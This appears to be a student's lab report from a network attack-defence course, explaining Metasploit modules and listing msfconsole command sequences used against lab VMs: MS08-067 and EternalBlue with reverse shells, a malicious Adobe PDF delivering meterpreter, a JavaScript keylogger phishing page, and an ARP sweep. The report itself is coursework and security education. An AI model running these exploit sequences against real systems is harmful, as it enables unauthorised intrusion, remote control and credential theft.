2019-2020-2 20175215丁文韬《网络对抗技术》Exp6 MSF基础应用

一、原理与实践说明

1.实践原理

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
  • 编码模块Encoders
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

3.MSF的三种用户操作界面

  • msfconsole
    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
    • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
  • armitage
    • 启动服务器service postgresql start
    • 启动armitagearmitage
  • webgui

4.MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

二、实践内容

1.主动攻击实践

ms08-067(成功,不唯一)

ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。

靶机:Microsoft Windows 2000(192.168.30.146)
payload : generic/shell_reverse_tcp

  • 测试靶机与攻击机之间能否ping通
  • 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.30.146
    • 查看到靶机的版本号和存在此漏洞
  • search ms08-067查看漏洞位置
  • use exploit/windows/smb/ms08_067_netapi选择该漏洞
  • set LHOST 192.168.30.135设置攻击机IP
  • set LPORT 5215设置端口
  • set RHOST 192.168.30.146设置靶机IP
  • show options查看信息
  • exploit发起攻击,下图为攻击结果

2.针对浏览器的攻击

  • MS17-010(成功,不唯一)

  • 靶机:Windows 7 + IE8

  • exploit : windows/smb/ms17_010_eternalblue

  • payload : generic/shell_reverse_tcp

  • 实验步骤

use windows/smb/ms17_010_eternalblue
set payload generic/shell_reverse_tcp
set LHOST 192.168.30.135
set LPORT 5215
set RHOST 192.168.30.142
show options
exploit
  • 攻击成功截图:

3.针对客户端的攻击

  • Adobe(成功,不唯一)

  • 靶机:Windows XP(192.168.30.144)

  • payload : windows/meterpreter/bind_tcp

  • 实验步骤:

msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing  //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5215 //设置端口号
set RHOST 192.168.30.144//设置靶机IP地址
exploit #攻击
  • 将生成的msf.pdf复制到Windows XP中

  • kail中输入back退出当前模块,进入监听模块

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp  //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.30.144 //设置靶机IP地址
set LPORT 5215 //设置端口号
exploit //攻击
  • 在靶机中使用双击打开msf.pdf

  • 攻击成功

4.成功应用任何一个辅助模块(http_javascript_keylogger:成功,唯一)

http_javascript_keylogger(成功,唯一)

  • 应用步骤
use server/capture/http_javascript_keylogger
set DEMO true
set URIPATH /
set SRVPORT 80
run

  • 在windows XP 中打开IE输入192.168.30.135//demo进入钓鱼页面
  • 攻击结果如图

arp_sweep(成功,不唯一)
arp_sweep使用ARP请求枚举本地局域网络中的全部活跃主机进行扫描。nmap也有相应指令。

use auxiliary/scanner/discovery/arp_sweep  //使用arp_sweep 模块
set RHOSTS 192.168.30.135/30//用set进行hosts主机段设置
set THREADS 30//设置扫描速度
run //开始扫描
  • 扫描结果如下

SP1.实验后问题回答与实验体会

1.基础问题回答

  • (1)用自己的话解释什么是exploit,payload,encode.
    • exploit是运输管道,连接漏洞,将payload传送到靶机中。
    • payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中。
    • encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符。

2.距离实战还缺什么技术或步骤

  • 要明确自己要进行那个方向的信息收集扫描,掌握了准确的信息才能成功进行MSF攻击
  • 对MSF的学习不能流于表面,单纯只对着教程做攻击,应该学习内容,自主攻击。

3.实验体会

  • 本次实验操作较为简单,但是找靶机花了挺多时间,而且下载也花了很长一段时间(因为迅雷没充会员)。这体现了metasploit攻击漏洞的专一性,必须在特定环境和特定触发条件下才能成功。
  • 在实验过程中,我认为search是一个很重要的部分,少了这部分连需要做什么都不清楚。

SP2.参考资料

1.2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2.0x59_MSF_MS-08067攻击实践.md
3.MSF基础应用
4.[MSF]server/capture/http_javascript_keylogger键盘记录

posted @ 2020-05-02 23:19  20175215丁文韬  阅读(262)  评论(0编辑  收藏  举报